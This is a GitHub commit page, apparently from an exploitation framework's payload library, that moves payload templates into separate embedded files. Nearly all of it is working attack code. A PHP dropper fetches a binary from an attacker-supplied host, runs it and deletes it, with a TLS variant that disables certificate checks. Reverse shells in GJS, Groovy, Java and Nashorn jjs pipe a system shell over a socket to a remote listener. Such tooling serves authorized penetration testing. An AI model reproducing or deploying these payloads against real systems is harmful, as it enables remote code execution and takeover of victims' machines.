Skip to content

Commit 01b4c82

Browse files
j-bainesj-baines
authored
Merge pull request #308 from vulncheck-oss/payload/unify-layout
Seperate payloads into embedded independent files
2 parents cbad3f6 + 1db5c6f commit 01b4c82

20 files changed

+398
-295
lines changed

‎payload/dropper/php.go

+10-19
Original file line numberDiff line numberDiff line change
@@ -1,31 +1,22 @@
11
package dropper
22

33
import (
4+
_ "embed"
45
"fmt"
56
)
67

8+
var (
9+
//go:embed php/dropper.php
10+
PHPDropper string
11+
//go:embed php/dropper_secure.php
12+
PHPDropperSecure string
13+
)
14+
715
// Using PHP: download a remote file, write a tmp file, set it to executable, execute it, and delete it.
816
func (php *PHPPayload) HTTP(lhost string, lport int, ssl bool, downloadFile string) string {
9-
cmd := "<?php "
1017
if ssl {
11-
// download the data over ssl (ignoring cert validation)
12-
cmd += `$options = array("ssl" => array("verify_peer" => false,"verify_peer_name" => false,),);`
13-
cmd += `$context = stream_context_create($options);`
14-
cmd += fmt.Sprintf(`$d = file_get_contents("https://%s:%d/%s", false, $context);`, lhost, lport, downloadFile)
15-
} else {
16-
// download the data
17-
cmd += fmt.Sprintf(`$d = file_get_contents("http://%s:%d/%s");`, lhost, lport, downloadFile)
18+
return fmt.Sprintf(PHPDropperSecure, lhost, lport, downloadFile)
1819
}
19-
// generate a random file
20-
cmd += `$o=tempnam(sys_get_temp_dir(), "");`
21-
// write the data
22-
cmd += `file_put_contents($o,$d);`
23-
// set the download binary as executable
24-
cmd += `chmod($o, 0755);`
25-
// execute it
26-
cmd += `exec($o);`
27-
// delete it
28-
cmd += `unlink($o); ?>`
2920

30-
return cmd
21+
return fmt.Sprintf(PHPDropper, lhost, lport, downloadFile)
3122
}

‎payload/dropper/php/dropper.php

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
<?php $d = file_get_contents("http://%s:%d/%s");$o=tempnam(sys_get_temp_dir(), "");file_put_contents($o,$d);chmod($o, 0755);exec($o);unlink($o); ?>

‎payload/dropper/php/dropper_secure.php

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
<?php $options = array("ssl" => array("verify_peer" => false,"verify_peer_name" => false,),);$context = stream_context_create($options);$d = file_get_contents("https://%s:%d/%s", false, $context);$o=tempnam(sys_get_temp_dir(), "");file_put_contents($o,$d);chmod($o, 0755);exec($o);unlink($o); ?>

‎payload/reverse/gjscript.go

+7-20
Original file line numberDiff line numberDiff line change
@@ -1,35 +1,22 @@
11
package reverse
22

33
import (
4+
_ "embed"
45
"fmt"
6+
"strings"
57
)
68

7-
const (
8-
GJScriptDefault = GJScriptGLibSpawn
9-
GJScriptGLibSpawn = `const Gio = imports.gi.Gio;
10-
const GLib = imports.gi.GLib;
11-
12-
try {
13-
let connection = (new Gio.SocketClient()).connect_to_host("%s:%d", null, null);
14-
let output = connection.get_output_stream();
15-
let input = new Gio.DataInputStream({ base_stream: connection.get_input_stream() });
16-
17-
while (true) {
18-
let [cmd, size] = input.read_line(null);
19-
let [res, out, err, status] = GLib.spawn_command_line_sync(imports.byteArray.toString(cmd));
20-
output.write_bytes(new GLib.Bytes(imports.byteArray.toString(out)), null);
21-
}
22-
} catch (e) {
23-
}`
24-
)
9+
//go:embed gjscript/glib_spawn.gjs
10+
var GJScriptGLibSpawn string
11+
var GJScriptDefault = GJScriptGLibSpawn
2512

2613
// Generates Gnome JS payload.
2714
func (gjs *GJScriptPayload) Default(lhost string, lport int) string {
28-
return fmt.Sprintf(GJScriptDefault, lhost, lport)
15+
return strings.Trim(fmt.Sprintf(GJScriptDefault, lhost, lport), "\r\n")
2916
}
3017

3118
// Generates a script that can be used to create a reverse shell via
3219
// gjs (Gnome JS - present on Ubuntu, Debian by default).
3320
func (gjs *GJScriptPayload) GLibSpawn(lhost string, lport int) string {
34-
return fmt.Sprintf(GJScriptGLibSpawn, lhost, lport)
21+
return strings.Trim(fmt.Sprintf(GJScriptGLibSpawn, lhost, lport), "\r\n")
3522
}

‎payload/reverse/gjscript/glib_spawn.gjs

+15
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
const Gio = imports.gi.Gio;
2+
const GLib = imports.gi.GLib;
3+
4+
try {
5+
let connection = (new Gio.SocketClient()).connect_to_host("%s:%d", null, null);
6+
let output = connection.get_output_stream();
7+
let input = new Gio.DataInputStream({ base_stream: connection.get_input_stream() });
8+
9+
while (true) {
10+
let [cmd, size] = input.read_line(null);
11+
let [res, out, err, status] = GLib.spawn_command_line_sync(imports.byteArray.toString(cmd));
12+
output.write_bytes(new GLib.Bytes(imports.byteArray.toString(out)), null);
13+
}
14+
} catch (e) {
15+
}

‎payload/reverse/groovy.go

+7-10
Original file line numberDiff line numberDiff line change
@@ -1,25 +1,22 @@
11
package reverse
22

33
import (
4+
_ "embed"
45
"fmt"
6+
"strings"
57
)
68

7-
const (
9+
var (
10+
//go:embed groovy/classic.groovy
11+
GroovyClassic string
812
GroovyDefault = GroovyClassic
9-
GroovyClassic = `shell='/bin/sh';if(System.getProperty('os.name').indexOf('Windows')!=-1)` +
10-
`shell='cmd.exe';Process p=new ProcessBuilder(shell).redirectErrorStream(true).start();` +
11-
`Socket s=new Socket('%s',%d);InputStream pi=p.getInputStream(),pe=p.getErrorStream(),` +
12-
`si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();` +
13-
`while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)` +
14-
`so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();` +
15-
`Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();`
1613
)
1714

1815
func (groovy *GroovyPayload) Default(lhost string, lport int) string {
19-
return groovy.GroovyClassic(lhost, lport)
16+
return strings.Trim(groovy.GroovyClassic(lhost, lport), "\r\n")
2017
}
2118

2219
// A short payload that creates a reverse shell using /bin/sh -i.
2320
func (groovy *GroovyPayload) GroovyClassic(lhost string, lport int) string {
24-
return fmt.Sprintf(GroovyClassic, lhost, lport)
21+
return strings.Trim(fmt.Sprintf(GroovyClassic, lhost, lport), "\r\n")
2522
}

‎payload/reverse/groovy/classic.groovy

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
shell='/bin/sh';if(System.getProperty('os.name').indexOf('Windows')!=-1)shell='cmd.exe';Process p=new ProcessBuilder(shell).redirectErrorStream(true).start();Socket s=new Socket('%s',%d);InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

‎payload/reverse/java.go

+7-25
Original file line numberDiff line numberDiff line change
@@ -1,42 +1,24 @@
11
package reverse
22

33
import (
4+
_ "embed"
45
"fmt"
6+
"strings"
57
)
68

7-
const (
9+
var (
10+
//go:embed java/process_builder.java
11+
JavaProcessBuilderInteractive string
812
JavaDefault = JavaProcessBuilderInteractive
9-
JavaProcessBuilderInteractive = `String shell = "/bin/sh";
10-
if (System.getProperty("os.name").indexOf("Windows") != -1) {
11-
shell = "cmd.exe";
12-
};
13-
Process p = new ProcessBuilder(shell).redirectErrorStream(true).start();
14-
Socket s = new Socket("%s", %d);
15-
InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
16-
OutputStream po = p.getOutputStream(), so = s.getOutputStream();
17-
while (!s.isClosed()) {
18-
while (pi.available() > 0) so.write(pi.read());
19-
while (pe.available() > 0) so.write(pe.read());
20-
while (si.available() > 0) po.write(si.read());
21-
so.flush();
22-
po.flush();
23-
Thread.sleep(50);
24-
try {
25-
p.exitValue();
26-
break;
27-
} catch (Exception e) {}
28-
};
29-
p.destroy();
30-
s.close();`
3113
)
3214

3315
// Defaults to the UnflattenedJava payload.
3416
func (java *JavaPayload) Default(lhost string, lport int) string {
35-
return java.UnflattenedJava(lhost, lport)
17+
return strings.Trim(java.UnflattenedJava(lhost, lport), "\r\n")
3618
}
3719

3820
// An unflattened Java reverse shell. This is the "classic" Java reverse shell that spins out
3921
// the shell using ProcessBuilder and then redirects input/output to/from the sockets.
4022
func (java *JavaPayload) UnflattenedJava(lhost string, lport int) string {
41-
return fmt.Sprintf(JavaProcessBuilderInteractive, lhost, lport)
23+
return strings.Trim(fmt.Sprintf(JavaProcessBuilderInteractive, lhost, lport), "\r\n")
4224
}

‎payload/reverse/java/process_builder.java

+22
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
String shell = "/bin/sh";
2+
if (System.getProperty("os.name").indexOf("Windows") != -1) {
3+
shell = "cmd.exe";
4+
};
5+
Process p = new ProcessBuilder(shell).redirectErrorStream(true).start();
6+
Socket s = new Socket("%s", %d);
7+
InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
8+
OutputStream po = p.getOutputStream(), so = s.getOutputStream();
9+
while (!s.isClosed()) {
10+
while (pi.available() > 0) so.write(pi.read());
11+
while (pe.available() > 0) so.write(pe.read());
12+
while (si.available() > 0) po.write(si.read());
13+
so.flush();
14+
po.flush();
15+
Thread.sleep(50);
16+
try {
17+
p.exitValue();
18+
break;
19+
} catch (Exception e) {}
20+
};
21+
p.destroy();
22+
s.close();

‎payload/reverse/jjs.go

+13-48
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,17 @@
11
package reverse
22

33
import (
4+
_ "embed"
45
"fmt"
6+
"strings"
7+
)
8+
9+
var (
10+
//go:embed jjs/reverse_shell.jjs
11+
JJSShell string
12+
13+
//go:embed jjs/reverse_shell_ssl.jjs
14+
JJSShellSSL string
515
)
616

717
// Generates a script that can be used to create a reverse shell via jjs (Java javascript).
@@ -14,57 +24,12 @@ import (
1424
// https://redthunder.blog/2018/04/09/disabling-hostname-validation-in-nashorn-javascript/
1525
// https://gist.github.com/frohoff/8e7c2bf3737032a25051
1626
func (jjs *JJSScriptPayload) Default(lhost string, lport int, ssl bool) string {
17-
script := `var shell = "bash";
18-
if (java.lang.System.getProperty("os.name").indexOf("Windows") != -1) {
19-
shell = "cmd.exe";
20-
}
21-
var p=new java.lang.ProcessBuilder(shell).redirectErrorStream(true).start();`
27+
var script string
2228
if ssl {
23-
script += fmt.Sprintf(`
24-
var X509TrustManager = Java.type("javax.net.ssl.X509TrustManager");
25-
var permissiveTrustManager = Java.extend(X509TrustManager,
26-
{
27-
getAcceptedIssuers: function(){return null;},
28-
checkClientTrusted: function(certs, authType){return;},
29-
checkServerTrusted: function(certs, authType){return;}
30-
}
31-
);
32-
var trustAllCerts = [new permissiveTrustManager()];
33-
var sc = javax.net.ssl.SSLContext.getInstance("TLS");
34-
sc.init(null, trustAllCerts, new java.security.SecureRandom());
35-
var factory = sc.getSocketFactory();
36-
var s=factory.createSocket("%s", %d);
37-
s.startHandshake()`, lhost, lport)
29+
script = strings.Trim(fmt.Sprintf(JJSShellSSL, lhost, lport), "\r\n")
3830
} else {
39-
script += fmt.Sprintf(`var s=new java.net.Socket("%s", %d);`, lhost, lport)
40-
}
41-
script += `
42-
var socketInput = new java.io.BufferedReader(new java.io.InputStreamReader(s.getInputStream()));
43-
var socketOutput = new java.io.BufferedWriter(new java.io.OutputStreamWriter(s.getOutputStream()));
44-
var processInput = new java.io.BufferedWriter(new java.io.OutputStreamWriter(p.getOutputStream()));
45-
var processOutput = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
46-
47-
while (!s.isClosed()) {
48-
var data
49-
if ((data = socketInput.readLine()) != null) {
50-
processInput.write(data + "\n");
51-
processInput.flush()
31+
script = strings.Trim(fmt.Sprintf(JJSShell, lhost, lport), "\r\n")
5232
}
53-
java.lang.Thread.sleep(50);
54-
55-
while (processOutput.ready() && (data = processOutput.read()) > 0) {
56-
socketOutput.write(data);
57-
}
58-
socketOutput.flush()
59-
try {
60-
p.exitValue();
61-
break;
62-
} catch (e) {
63-
}
64-
}
65-
66-
p.destroy();
67-
s.close();`
6833

6934
return script
7035
}

‎payload/reverse/jjs/reverse_shell.jjs

+31
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
var shell = "bash";
2+
if (java.lang.System.getProperty("os.name").indexOf("Windows") != -1) {
3+
shell = "cmd.exe";
4+
}
5+
var p=new java.lang.ProcessBuilder(shell).redirectErrorStream(true).start();var s=new java.net.Socket("%s", %d);
6+
var socketInput = new java.io.BufferedReader(new java.io.InputStreamReader(s.getInputStream()));
7+
var socketOutput = new java.io.BufferedWriter(new java.io.OutputStreamWriter(s.getOutputStream()));
8+
var processInput = new java.io.BufferedWriter(new java.io.OutputStreamWriter(p.getOutputStream()));
9+
var processOutput = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
10+
11+
while (!s.isClosed()) {
12+
var data
13+
if ((data = socketInput.readLine()) != null) {
14+
processInput.write(data + "\n");
15+
processInput.flush()
16+
}
17+
java.lang.Thread.sleep(50);
18+
19+
while (processOutput.ready() && (data = processOutput.read()) > 0) {
20+
socketOutput.write(data);
21+
}
22+
socketOutput.flush()
23+
try {
24+
p.exitValue();
25+
break;
26+
} catch (e) {
27+
}
28+
}
29+
30+
p.destroy();
31+
s.close();

‎payload/reverse/jjs/reverse_shell_ssl.jjs

+45
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
var shell = "bash";
2+
if (java.lang.System.getProperty("os.name").indexOf("Windows") != -1) {
3+
shell = "cmd.exe";
4+
}
5+
var p=new java.lang.ProcessBuilder(shell).redirectErrorStream(true).start();
6+
var X509TrustManager = Java.type("javax.net.ssl.X509TrustManager");
7+
var permissiveTrustManager = Java.extend(X509TrustManager,
8+
{
9+
getAcceptedIssuers: function(){return null;},
10+
checkClientTrusted: function(certs, authType){return;},
11+
checkServerTrusted: function(certs, authType){return;}
12+
}
13+
);
14+
var trustAllCerts = [new permissiveTrustManager()];
15+
var sc = javax.net.ssl.SSLContext.getInstance("TLS");
16+
sc.init(null, trustAllCerts, new java.security.SecureRandom());
17+
var factory = sc.getSocketFactory();
18+
var s=factory.createSocket("%s", %d);
19+
s.startHandshake()
20+
var socketInput = new java.io.BufferedReader(new java.io.InputStreamReader(s.getInputStream()));
21+
var socketOutput = new java.io.BufferedWriter(new java.io.OutputStreamWriter(s.getOutputStream()));
22+
var processInput = new java.io.BufferedWriter(new java.io.OutputStreamWriter(p.getOutputStream()));
23+
var processOutput = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
24+
25+
while (!s.isClosed()) {
26+
var data
27+
if ((data = socketInput.readLine()) != null) {
28+
processInput.write(data + "\n");
29+
processInput.flush()
30+
}
31+
java.lang.Thread.sleep(50);
32+
33+
while (processOutput.ready() && (data = processOutput.read()) > 0) {
34+
socketOutput.write(data);
35+
}
36+
socketOutput.flush()
37+
try {
38+
p.exitValue();
39+
break;
40+
} catch (e) {
41+
}
42+
}
43+
44+
p.destroy();
45+
s.close();

0 commit comments

Comments
 (0)